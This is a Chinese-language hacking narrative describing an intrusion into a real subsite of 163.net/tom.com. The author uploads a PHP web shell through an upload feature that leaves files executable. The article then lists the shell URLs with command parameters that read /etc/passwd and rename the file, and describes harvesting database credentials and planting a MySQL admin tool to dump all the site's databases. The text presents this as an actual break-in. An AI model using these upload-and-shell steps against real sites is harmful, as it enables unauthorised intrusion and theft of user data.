web入侵我个人认为将随着网络交互的应用更多而入侵可能越大，一些大型的网站都使用了强大的交互功能
ASP,PHP,PERL 大凡大站安全都做的比较好，防火墙，物理隔断，专人安全防护，等等。可是真的是他们所
想象的这么安全吗？在这里我不想评论中国门户站点的安全性，只想告诉你上面的90%数据是有依据的。
很多网站喜欢拿免费的脚本改一下，而免费的东西很少经过专业的安全测试、评估，这就无疑的留下了很多疑问。
我拿出中国的一个知名站点做一个实列分析。
163.net 有一个子站 叫做兴趣小组
只是粗略的看了一下，他的脚本是用一个免费的php文件系统改写而成，可怜的程序改写者甚至连文件名都没来得及改。而这个程序在平时的实践中知道是一个存在严重安全问题的程序。
在兴趣小组你可以以匿名或非匿名的形式发送上传任何的文件，而这个程序的错误就在于他建立的文件有执行的权利，上传一个文件到任何的兴趣小组，然后选择该小组的共享文件，你会发现你上传的文件已经在里面了让我们上传一个phpshell 看看，发现了什么？天，脚本被执行了（nobody权限）
http://my.cn.tom.com/userpic/store/6/1428_phpshell.php
注：因为随机生成文件的名字（所以点击页面上的连接不对）
手工改一下，看看我们看到了什么
http://my.cn.tom.com/userpic/store/6/1428_phpshell.php?work_dir=/etc&command=cat passwd
为了更方便使用 我们把自己的这个文件名改一下
http://my.cn.tom.com/userpic/store/6/1428_phpshell.php?
work_dir=./etc&command=mv 1428_phpshell.php phpshell.php
现在让我们连接看一下,一切正常
http://my.cn.tom.com/userpic/store/6/phpshell.php
接下来我们要进入他的数据库主服务器
cat 相关文件查出他的数据库文件密码及数据库服务器名
host:mydb
user:****
pass:****
then...
为了方便我没有使用netcat起出一个shell 直接上传了一个用php管理mysql数据库的文件系统PHPMYSQLADMIN 移到相应的目录 起名****
放到可以访问的www目录下http://my.cn.tom.com/iGroup/****/ （对不起，我屏蔽了这危险之地）
163.net所有数据库数据一一列出
此时的我没有任何的惊奇与意外，如此的轻易，如此的不堪一击，有的只是对中国网络安全现状的一丝悲哀。如果163的网管看到这篇文章的时候不知道他们是什么感想？